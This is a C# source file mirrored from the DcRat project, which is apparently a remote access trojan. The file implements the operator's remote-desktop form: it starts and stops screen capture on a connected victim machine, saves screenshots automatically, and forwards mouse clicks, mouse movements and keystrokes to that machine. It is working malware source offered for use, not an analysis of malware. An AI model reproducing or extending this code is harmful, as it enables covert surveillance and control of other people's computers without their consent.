mirror of https://github.com/qwqdanchun/DcRat.git
315 lines
12 KiB
C#
315 lines
12 KiB
C#
using StreamLibrary;
|
|
using StreamLibrary.UnsafeCodecs;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.ComponentModel;
|
|
using System.Data;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
using Server.Connection;
|
|
using Server.MessagePack;
|
|
using System.Threading;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using Encoder = System.Drawing.Imaging.Encoder;
|
|
|
|
namespace Server.Forms
|
|
{
|
|
public partial class FormRemoteDesktop : Form
|
|
{
|
|
public Form1 F { get; set; }
|
|
internal Clients ParentClient { get; set; }
|
|
internal Clients Client { get; set; }
|
|
public string FullPath { get; set; }
|
|
|
|
public int FPS = 0;
|
|
public Stopwatch sw = Stopwatch.StartNew();
|
|
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
|
|
public Size rdSize;
|
|
private bool isMouse = false;
|
|
private bool isKeyboard = false;
|
|
public object syncPicbox = new object();
|
|
private readonly List<Keys> _keysPressed;
|
|
public Image GetImage { get; set; }
|
|
public FormRemoteDesktop()
|
|
{
|
|
_keysPressed = new List<Keys>();
|
|
InitializeComponent();
|
|
}
|
|
|
|
|
|
private void timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close();
|
|
}
|
|
catch { this.Close(); }
|
|
}
|
|
|
|
private void FormRemoteDesktop_Load(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
button1.Tag = (object)"stop";
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private void Button1_Click(object sender, EventArgs e)
|
|
{
|
|
if (button1.Tag == (object)"play")
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "capture";
|
|
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
|
|
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
|
|
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
numericUpDown1.Enabled = false;
|
|
numericUpDown2.Enabled = false;
|
|
btnSave.Enabled = true;
|
|
btnMouse.Enabled = true;
|
|
button1.Tag = (object)"stop";
|
|
button1.BackgroundImage = Properties.Resources.stop__1_;
|
|
}
|
|
else
|
|
{
|
|
button1.Tag = (object)"play";
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "stop";
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
}
|
|
catch { }
|
|
numericUpDown1.Enabled = true;
|
|
numericUpDown2.Enabled = true;
|
|
btnSave.Enabled = false;
|
|
btnMouse.Enabled = false;
|
|
button1.BackgroundImage = Properties.Resources.play_button;
|
|
}
|
|
}
|
|
|
|
private void BtnSave_Click(object sender, EventArgs e)
|
|
{
|
|
if (button1.Tag == (object)"stop")
|
|
{
|
|
if (timerSave.Enabled)
|
|
{
|
|
timerSave.Stop();
|
|
btnSave.BackgroundImage = Properties.Resources.save_image;
|
|
}
|
|
else
|
|
{
|
|
timerSave.Start();
|
|
btnSave.BackgroundImage = Properties.Resources.save_image2;
|
|
try
|
|
{
|
|
if (!Directory.Exists(FullPath))
|
|
Directory.CreateDirectory(FullPath);
|
|
Process.Start(FullPath);
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
}
|
|
|
|
private void TimerSave_Tick(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (!Directory.Exists(FullPath))
|
|
Directory.CreateDirectory(FullPath);
|
|
Encoder myEncoder = Encoder.Quality;
|
|
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
|
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
|
|
myEncoderParameters.Param[0] = myEncoderParameter;
|
|
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
|
|
pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
|
|
myEncoderParameters?.Dispose();
|
|
myEncoderParameter?.Dispose();
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private ImageCodecInfo GetEncoder(ImageFormat format)
|
|
{
|
|
ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
|
|
foreach (ImageCodecInfo codec in codecs)
|
|
{
|
|
if (codec.FormatID == format.Guid)
|
|
{
|
|
return codec;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private void PictureBox1_MouseDown(object sender, MouseEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
|
{
|
|
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
|
|
int button = 0;
|
|
if (e.Button == MouseButtons.Left)
|
|
button = 2;
|
|
if (e.Button == MouseButtons.Right)
|
|
button = 8;
|
|
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "mouseClick";
|
|
msgpack.ForcePathObject("X").AsInteger = p.X;
|
|
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
|
msgpack.ForcePathObject("Button").AsInteger = button;
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private void PictureBox1_MouseUp(object sender, MouseEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
|
{
|
|
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
|
|
int button = 0;
|
|
if (e.Button == MouseButtons.Left)
|
|
button = 4;
|
|
if (e.Button == MouseButtons.Right)
|
|
button = 16;
|
|
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "mouseClick";
|
|
msgpack.ForcePathObject("X").AsInteger = p.X;
|
|
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
|
msgpack.ForcePathObject("Button").AsInteger = button;
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
|
{
|
|
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "mouseMove";
|
|
msgpack.ForcePathObject("X").AsInteger = p.X;
|
|
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private void Button3_Click(object sender, EventArgs e)
|
|
{
|
|
if (isMouse)
|
|
{
|
|
isMouse = false;
|
|
btnMouse.BackgroundImage = Properties.Resources.mouse;
|
|
}
|
|
else
|
|
{
|
|
isMouse = true;
|
|
btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
|
|
}
|
|
pictureBox1.Focus();
|
|
}
|
|
|
|
private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
GetImage?.Dispose();
|
|
ThreadPool.QueueUserWorkItem((o) =>
|
|
{
|
|
Client?.Disconnected();
|
|
});
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private void btnKeyboard_Click(object sender, EventArgs e)
|
|
{
|
|
if (isKeyboard)
|
|
{
|
|
isKeyboard = false;
|
|
btnKeyboard.BackgroundImage = Properties.Resources.keyboard;
|
|
}
|
|
else
|
|
{
|
|
isKeyboard = true;
|
|
btnKeyboard.BackgroundImage = Properties.Resources.keyboard_on;
|
|
}
|
|
pictureBox1.Focus();
|
|
}
|
|
|
|
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
|
|
{
|
|
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
|
|
{
|
|
if (!IsLockKey(e.KeyCode))
|
|
e.Handled = true;
|
|
|
|
if (_keysPressed.Contains(e.KeyCode))
|
|
return;
|
|
|
|
_keysPressed.Add(e.KeyCode);
|
|
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "keyboardClick";
|
|
msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
|
|
msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true);
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
}
|
|
}
|
|
|
|
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
|
|
{
|
|
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
|
|
{
|
|
if (!IsLockKey(e.KeyCode))
|
|
e.Handled = true;
|
|
|
|
_keysPressed.Remove(e.KeyCode);
|
|
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
|
|
msgpack.ForcePathObject("Option").AsString = "keyboardClick";
|
|
msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
|
|
msgpack.ForcePathObject("keyIsDown").SetAsBoolean(false);
|
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
|
}
|
|
}
|
|
|
|
private bool IsLockKey(Keys key)
|
|
{
|
|
return ((key & Keys.CapsLock) == Keys.CapsLock)
|
|
|| ((key & Keys.NumLock) == Keys.NumLock)
|
|
|| ((key & Keys.Scroll) == Keys.Scroll);
|
|
}
|
|
|
|
|
|
}
|
|
}
|